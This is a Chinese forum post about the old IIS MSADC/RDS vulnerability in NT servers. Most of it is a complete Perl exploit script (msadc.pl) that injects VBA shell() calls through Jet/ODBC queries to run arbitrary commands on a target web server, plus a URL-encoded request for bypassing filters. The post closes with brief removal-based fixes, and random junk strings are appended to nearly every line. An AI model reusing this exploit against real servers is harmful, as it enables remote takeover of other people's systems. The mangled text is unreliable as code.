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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ,V+,3TT  
1|7t q  
涉及程序: )3!z2f:e  
Microsoft NT server k`0m|<$  
=%crSuP  
描述: #t&L}=G{%  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 w"h3e  
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详细: MF5o\-&dN  
如果你没有时间读详细内容的话,就删除: E^Z?X2Z  
c:\Program Files\Common Files\System\Msadc\msadcs.dll >s ;dooZ  
有关的安全问题就没有了。 @B>pPCowa  
GUvEOD=p  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 lM%3 ?~?Q&  
FlLk.+!t  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 vSJ# }&  
关于利用ODBC远程漏洞的描述,请参看: ;c#jO:A5  
`+T"^{ Z  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6PRP&|.#  
oMb@)7  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 kfs[*ku  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Uj)`(}r  
5oY^; )\/  
这里不再论述。 K!|J/W  
yRldPk_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: _VLA2#V>   
eh6=-  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ^" UZ.@sq'  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! `R_;n#3F0  
2?(dS  
5}'W8gV?  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Nb/Z+  
~d=Y98'xS  
#!perl ~|8-Mo1ce  
# 2fMKS  
# MSADC/RDS 'usage' (aka exploit) script sK|+&BC  
# "l-R|>6~  
# by rain.forest.puppy <3[0A;W=1  
# lemUUl(^  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me t$ 3/ZTx  
# beta test and find errors! QWAtF@qTV  
 s{T6qJ  
use Socket; use Getopt::Std; P^m&oH5]EG  
getopts("e:vd:h:XR", \%args); _G ^Cc}X  
0hOps5c8=  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; j4]y(AA  
Q;eY]l8  
if (!defined $args{h} && !defined $args{R}) { 63pd W/\j  
print qq~ p2(Z(V7*  
Usage: msadc.pl -h <host> { -d <delay> -X -v } L<ET"&b;4  
-h <host> = host you want to scan (ip or domain) a/lTQj]A  
-d <seconds> = delay between calls, default 1 second %bgUU|CdA  
-X = dump Index Server path table, if available 7toDk$jJRg  
-v = verbose eIt<da<G?  
-e = external dictionary file for step 5 7E\k97#G  
yey]#M[y  
Or a -R will resume a command session ~y8KQ-1n"  
Na$[nv8qh  
~; exit;} 8QFg6#"O  
C"g bol^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; *w23(f  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X~ g9TUv8  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} %"BJW  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); QJtO~~-  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} }\aJ%9X02  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <,Pk  
=r>u'wRQ  
if (!defined $args{R}){ $ret = &has_msadc; D[p`1$E-1v  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} o6)U\z  
 ]YKxJ''u  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" FZ=xy[q]~  
. "cmd /c "; `E8D5'tt  
$in=<STDIN>; chomp $in; e3]v *<bj  
$command="cmd /c " . $in ; #9p|aS\  
`]wk)50BVp  
if (defined $args{R}) {&load; exit;} b_a6|  
J)= "Im)  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ^.@F1k  
&try_btcustmr; >|g(/@IO  
?dAy_| zD  
print "\nStep 2: Trying to make our own DSN..."; 7&vDx=W  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; :r}C&3  
wg]VG,  
print "\nStep 3: Trying known DSNs..."; Oc%W_Gb7  
&known_dsn; g0:{{w  
zx;~sUR;  
print "\nStep 4: Trying known .mdbs..."; Ex@o&j\93  
&known_mdb;  /J[s5{  
lHc9D  
if (defined $args{e}){ yUEvva  
print "\nStep 5: Trying dictionary of DSN names..."; !p{CsR8c  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ;_p!20.(  
2[g kDZ  
print "Sorry Charley...maybe next time?\n"; j. mla  
exit; p|Nh:4iN  
y=SVS3D  
############################################################################## J1@skj4#\~  
!:M+7kmr7t  
sub sendraw { # ripped and modded from whisker HlraOp+  
sleep($delay); # it's a DoS on the server! At least on mine... yVgHu#?PM  
my ($pstr)=@_; p'\zL:3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |Ju d*z  
die("Socket problems\n"); lYhC2f m_  
if(connect(S,pack "SnA4x8",2,80,$target)){ C!W0L`r  
select(S); $|=1; > - U+o.o  
print $pstr; my @in=<S>; ~ ;ObT=  
select(STDOUT); close(S); |X;|=.  
return @in; Y |9  
} else { die("Can't connect...\n"); }} 0?O$->t  
b!`{fwV  
############################################################################## qpV"ii  
/n1L},67h  
sub make_header { # make the HTTP request I*H($ a  
my $msadc=<<EOT QVo>Uit   
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 1\-r5e; BE  
User-Agent: ACTIVEDATA x%T.0@!8  
Host: $ip -.l.@  
Content-Length: $clen Q2<v: *L  
Connection: Keep-Alive %#C9E kr  
2BV]@]qB  
ADCClientVersion:01.06 ry0YS\W  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 jGe%'A N\  
]D[\l$(  
--!ADM!ROX!YOUR!WORLD! [G' +s  
Content-Type: application/x-varg j%=X ps  
Content-Length: $reqlen $+$4W\-=X  
vL8Rg} Jh4  
EOT iAZbh"I  
; $msadc=~s/\n/\r\n/g; F(|XJN  
return $msadc;} H:cAORLB  
+`uNO<$~f  
############################################################################## 63/a 0Yn  
@W-0ybv  
sub make_req { # make the RDS request C%H?vrR  
my ($switch, $p1, $p2)=@_; yX/{eX5dr  
my $req=""; my $t1, $t2, $query, $dsn; $N\k*=  
&pW2R}  
if ($switch==1){ # this is the btcustmr.mdb query lN*beOj  
$query="Select * from Customers where City=" . make_shell(); 7QRkXs  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . fGoJP[ae  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} wU|jw(  
`RXlqj#u  
elsif ($switch==2){ # this is general make table query k%V YAON  
$query="create table AZZ (B int, C varchar(10))"; $ i%#fN  
$dsn="$p1";} {@hJPK8  
RoNE7|gF:  
elsif ($switch==3){ # this is general exploit table query % _nmv  
$query="select * from AZZ where C=" . make_shell(); D~n-;T  
$dsn="$p1";} R]3j6\  
Yz#E0aTTA  
elsif ($switch==4){ # attempt to hork file info from index server d|>/eb.R  
$query="select path from scope()"; `R!Q(rePx  
$dsn="Provider=MSIDXS;";} g{CU1c)B  
nf1O8FwRb  
elsif ($switch==5){ # bad query wV-9T*QrM  
$query="select"; $$i Gs6az  
$dsn="$p1";} #n]K$k>  
oxL)Jx\c9A  
$t1= make_unicode($query); TjHt:%7.  
$t2= make_unicode($dsn); j8c5_&  
$req = "\x02\x00\x03\x00"; C-XJe~  
$req.= "\x08\x00" . pack ("S1", length($t1)); 6q^\pJY%&7  
$req.= "\x00\x00" . $t1 ; -kHJH><j  
$req.= "\x08\x00" . pack ("S1", length($t2)); _=}.Sg5Q  
$req.= "\x00\x00" . $t2 ; g'cVsO)S  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; $PRUzFZ  
return $req;} _r>kR7A\{  
8:[ l1d86  
############################################################################## |K9*><P?)2  
9sI&d  
sub make_shell { # this makes the shell() statement EvH/d4V;  
return "'|shell(\"$command\")|'";} Vh>|F}%E  
A]ZQ?- L/  
############################################################################## LW k/h 1  
W8F@nY  
sub make_unicode { # quick little function to convert to unicode r+k&W  
my ($in)=@_; my $out; 'x5p ?m  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } bo1J'pU  
return $out;} sf/m@425  
E\TWPV'/  
############################################################################## q3C  
4U~'Oa @p  
sub rdo_success { # checks for RDO return success (this is kludge) =cO5Nt  
my (@in) = @_; my $base=content_start(@in); IwRP,MQ~  
if($in[$base]=~/multipart\/mixed/){ rgDl%X2B  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} A1r%cs  
return 0;} %J Jp/I  
K+"3He  
############################################################################## ;A4j_ 8\[  
i[I&m]N  
sub make_dsn { # this makes a DSN for us TU': Rt  
my @drives=("c","d","e","f"); <@[;IX`YN  
print "\nMaking DSN: "; (V1;`sI8  
foreach $drive (@drives) { 6TTu[*0NT  
print "$drive: "; aRElk&M  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . t2Jf+t_B7  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" %!eRR  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %|D) U>o{  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; -}PE(c1%?q  
return 0 if $2 eq "404"; # not found/doesn't exist JY@bD:  
if($2 eq "200") { vG7Mk8mIr  
foreach $line (@results) { \Zh&[D!2  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ay|jq "a  
} return 0;} iJj!-a:z.  
w}#3 pU<<  
############################################################################## UBJYs{zz  
W?"l6s  
sub verify_exists { ?XP4kjJ  
my ($page)=@_; P (DEf(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); -%| ] d ;  
return $results[0];} [+QyKyhTO  
`wZ  
############################################################################## <-fvYer  
BMI`YGjY1  
sub try_btcustmr { Ghc U ~  
my @drives=("c","d","e","f"); %?, 7!|Ls  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ZjY,k  
^$}O?y7O  
foreach $dir (@dirs) { -2!S>P Zs  
print "$dir -> "; # fun status so you can see progress :J_UXtx  
foreach $drive (@drives) { VrLp5?Bh  
print "$drive: "; # ditto zA}JVB  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; v*0J6<  
$reqlenlen=length( "$reqlen" ); yf!7 Q>_G^  
$clen= 206 + $reqlenlen + $reqlen; @$!6u0x  
O2?yI8|Jn  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); *C0a,G4  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 8EMBqhl  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} cvo+{u$s  
dNY'uv&Y  
############################################################################## Thu_`QP^  
B9[vv;lzu  
sub odbc_error { l1|*(%p?X  
my (@in)=@_; my $base;  ^#C+l  
my $base = content_start(@in); U;TS7A3  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this wN10Drc   
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; SvQ|SKE':  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ph%ylS/T{  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {[`(o 0@(  
return $in[$base+4].$in[$base+5].$in[$base+6];} I'^XEl?   
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; !.^x^OK%y  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . \y%"tJ~N{  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9C2pGfEbn}  
EpKZ.lCU  
############################################################################## "U"fsAc#  
0^\H$An*k  
sub verbose { S.Kcb=;"L  
my ($in)=@_; j,;f#+O`g  
return if !$verbose; J%|;  
print STDOUT "\n$in\n";} )/JVp>  
] Ok &%-  
############################################################################## /4OQx0Xmm  
}!k?.(hpE  
sub save { (T$cw(!  
my ($p1, $p2, $p3, $p4)=@_; *3E3,c8{A  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 5'+g[eNyBV  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; }No#_{  
close OUT;} y9]7LETv\M  
8{!|` b'f  
############################################################################## {D^ )% {  
ULu@"  
sub load { ,/GFD[SQ  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; tmoCy0qWz  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); b;d7mh 4  
@p=<IN>; close(IN); 7Hv 6>z#m  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); [%R?^*]  
$target= inet_aton($ip) || die("inet_aton problems"); re/u3\S  
print "Resuming to $ip ..."; <9"@<[[,  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; t( V 2  
if($p[1]==1) { #<B?+gzFM{  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; A^6z.MdYZ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; wBg?-ji3<  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); sk<S`J,M/_  
if (rdo_success(@results)){print "Success!\n";} 88 X]Uw(+  
else { print "failed\n"; verbose(odbc_error(@results));}} a@&qdp  
elsif ($p[1]==3){ TCzlu#w  
if(run_query("$p[3]")){ "~EAt$  
print "Success!\n";} else { print "failed\n"; }} 9S17Lr*c  
elsif ($p[1]==4){ x 9\{a  
if(run_query($drvst . "$p[3]")){ ==?%]ZE8  
print "Success!\n"; } else { print "failed\n"; }} -6uLww=w4  
exit;} 9<y{:{i  
Z.Z31yF:f  
############################################################################## +mD;\iW]  
[tSv{  
sub create_table { eN|zD?ba&  
my ($in)=@_; ewN|">WXQ  
$reqlen=length( make_req(2,$in,"") ) - 28; 3I)oqS@q'  
$reqlenlen=length( "$reqlen" ); bv(+$YR  
$clen= 206 + $reqlenlen + $reqlen;  0%,W5w  
my @results=sendraw(make_header() . make_req(2,$in,"")); YfZ5Q}*1O+  
return 1 if rdo_success(@results); ib 'l:GM  
my $temp= odbc_error(@results); verbose($temp); BR?DW~7J j  
return 1 if $temp=~/Table 'AZZ' already exists/; v(JjvN21  
return 0;} *y|w9 r p  
2?Ryk`2i)  
############################################################################## U?|A3;,xh  
"k  
sub known_dsn { 2B6u) 95  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go *^7^g!=z2  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", |}e"6e%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ]e5aHpgR=  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ~H?v L c;>  
F?MVQ!K*  
foreach $dSn (@dsns) { %La/E#  
print "."; <3tf(?*,k]  
next if (!is_access("DSN=$dSn")); SJO*g&duQ  
if(create_table("DSN=$dSn")){ y]obO|AH  
print "$dSn successful\n"; ?P9VdS1-  
if(run_query("DSN=$dSn")){ `FNU- I4s  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { k5tyOk  
print "Something's borked. Use verbose next time\n";}}} print "\n";} oNl-! W   
N;P/$  
############################################################################## _C1u}1hW#  
]Hi1^Y<  
sub is_access { Q2]7|C  
my ($in)=@_; #')] ~Xa  
$reqlen=length( make_req(5,$in,"") ) - 28; U v>^ Z2  
$reqlenlen=length( "$reqlen" ); tRc 3<>  
$clen= 206 + $reqlenlen + $reqlen; J32{#\By  
my @results=sendraw(make_header() . make_req(5,$in,"")); `WC4:8  
my $temp= odbc_error(@results); ZJGIib  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); S\sy^Kt~4:  
return 0;} -gC%*S5&  
+kxk z"fP  
############################################################################## H3d|eO4+W  
K)`R?CZ:s  
sub run_query { x~8R.Sg  
my ($in)=@_; <?8cVLW} O  
$reqlen=length( make_req(3,$in,"") ) - 28; }V.fY3J-  
$reqlenlen=length( "$reqlen" ); >.C$2bW<L  
$clen= 206 + $reqlenlen + $reqlen; r z@%rOWV  
my @results=sendraw(make_header() . make_req(3,$in,"")); hZUS#75M5  
return 1 if rdo_success(@results); jL4"FTcE]3  
my $temp= odbc_error(@results); verbose($temp); RN1KM  
return 0;} #q0xlF@  
#\Q)7pgi.  
############################################################################## XM?c*,=fu  
p((.(fx  
sub known_mdb { Cx(HsJ! ,  
my @drives=("c","d","e","f","g"); JPT&!%~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); r[kHVT8  
my $dir, $drive, $mdb; !{uV-c-5,  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; C5Fq%y{$.  
1ATH$x  
# this is sparse, because I don't know of many e2;=OoBK  
my @sysmdbs=( "\\catroot\\icatalog.mdb", l<sWM$ez  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 2e ~RM2PQ  
"\\system32\\certmdb.mdb", HQ4WunH2Y  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% AC fhy[,  
WYCDEoqU2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", \[+':o`LH  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Z Wx[@5  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", #vBSg  
"\\cfusion\\cfapps\\security\\realm_.mdb", R5uz<  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", )0;O<G] d  
"\\cfusion\\database\\cfexamples.mdb", {EU]\Mp0j  
"\\cfusion\\database\\cfsnippets.mdb", I] m&h!  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", /dX,]OFm  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Ja\B%f  
"\\cfusion\\brighttiger\\database\\cleam.mdb", .fhfO @  
"\\cfusion\\database\\smpolicy.mdb", 7#*O|t/'  
"\\cfusion\\database\cypress.mdb", aM8z_j!!u  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", /~<Przw  
"\\website\\cgi-win\\dbsample.mdb", MD>E0p)  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", waV4~BdL  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" }zeKf/?'  
); #these are just f'S0 "  
foreach $drive (@drives) { #]}G{ P  
foreach $dir (@dirs){ L`^ v"W()  
foreach $mdb (@sysmdbs) { \jkDRR[  
print "."; 4=* ml}RP  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :NH '>'  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ^'sOWIzeiY  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ &j{I G`Trl  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; F20%r 0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} L#IY6t  
<lPHeO<^]  
foreach $drive (@drives) { Z>@\!$Mc  
foreach $mdb (@mdbs) { 6X VJ/qZ  
print "."; u`*$EP-%  
if(create_table($drv . $drive . $dir . $mdb)){ c/3]M>+M  
print "\n" . $drive . $dir . $mdb . " successful\n"; @(tuE  
if(run_query($drv . $drive . $dir . $mdb)){ <("P5@cExU  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 3URrK[%x`  
} else { print "Something's borked. Use verbose next time\n"; }}}} ?nR$>a`  
} }T=\hM  
,}Ic($ To  
############################################################################## AlgVsE%Va  
VD=F{|^  
sub hork_idx { Y:'c<k  
print "\nAttempting to dump Index Server tables...\n"; jLul:* L  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; u/?;J1z:  
$reqlen=length( make_req(4,"","") ) - 28; P(zquKm  
$reqlenlen=length( "$reqlen" ); B"RZpx  
$clen= 206 + $reqlenlen + $reqlen; iF+50d  
my @results=sendraw2(make_header() . make_req(4,"","")); 1 7hXg"B  
if (rdo_success(@results)){ X^ 0jS  
my $max=@results; my $c; my %d; G{|F V m  
for($c=19; $c<$max; $c++){ jBd9  $`  
$results[$c]=~s/\x00//g; :4238J8  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ."v&?o Ck]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ou&7v<)x4  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; kca  Y  
$d{"$1$2"}="";} pQ+4++7ID  
foreach $c (keys %d){ print "$c\n"; } |:`gjl_Nf  
} else {print "Index server doesn't seem to be installed.\n"; }} RAEiIf!3  
_P]k6z+  
############################################################################## Zxv{qbF  
FEg&EYI  
sub dsn_dict { s8kkf5bu  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); z*:.maq  
while(<IN>){ =G<S!qW  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; aw0xi,Jz  
next if (!is_access("DSN=$dSn")); akA C^:F  
if(create_table("DSN=$dSn")){ ?DJ,YY9P  
print "$dSn successful\n"; ( e(<4-&  
if(run_query("DSN=$dSn")){ &nF7CCF  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { C  F<  
print "Something's borked. Use verbose next time\n";}}} d4-cZw}+  
print "\n"; close(IN);} .aR$ou,7  
<H!; /p/S  
############################################################################## B3Esfk  
P1QGfp0-J  
sub sendraw2 { # ripped and modded from whisker UBy:W^\g  
sleep($delay); # it's a DoS on the server! At least on mine... hLLg  
my ($pstr)=@_; JSiLG0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || QGd"Z lQ  
die("Socket problems\n"); '^M3g-C[Jg  
if(connect(S,pack "SnA4x8",2,80,$target)){ b*qC  
print "Connected. Getting data"; K<tkNWasQ  
open(OUT,">raw.out"); my @in; 8DNGqaH;dt  
select(S); $|=1; print $pstr; *,__\/U98  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ~ +z'pK~c  
close(OUT); select(STDOUT); close(S); return @in; ldm=uW  
} else { die("Can't connect...\n"); }} ~4~>; e  
C{):jH,Rf  
############################################################################## y#;@~S1W  
V?Zvu9b&  
sub content_start { # this will take in the server headers Eq/%k $6#1  
my (@in)=@_; my $c; "Mmvf'N  
for ($c=1;$c<500;$c++) { /!0{9F<  
if($in[$c] =~/^\x0d\x0a/){ jCbxI^3A  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } :j,e0#+sA  
else { return $c+1; }}} |"a%S,I'  
return -1;} # it should never get here actually o %tvwv  
<El6?ml@  
############################################################################## +hS}msu'  
TXQ Y&7  
sub funky { Kth^WHL  
my (@in)=@_; my $error=odbc_error(@in); x:Kca3pv_  
if($error=~/ADO could not find the specified provider/){ enT.9|vm/  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; "eal Yveu  
exit;} P/FO,S-V  
if($error=~/A Handler is required/){ #fYz367>  
print "\nServer has custom handler filters (they most likely are patched)\n"; bKH8/*Yk  
exit;} /CN^">|_  
if($error=~/specified Handler has denied Access/){ cB7=4:U  
print "\nServer has custom handler filters (they most likely are patched)\n"; G P/3r[MH  
exit;}} N8l(m5Kk,k  
';!02=-@  
############################################################################## 5 lC"10  
GVp2| \-L  
sub has_msadc { 8V3SZ17  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); < F Cr L  
my $base=content_start(@results); O<h`[1eUjS  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ;dYpdy  
return 0;}  p68) 0  
n2H2G_-L[  
######################## %8+'L4  
e&u HU8k*  
%+9Mr ami  
解决方案: 2FS,B\d  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;wz YZ5=Di  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 '5eW"HGU]`  
7Q.?] k&  
拿出来充数 哈哈
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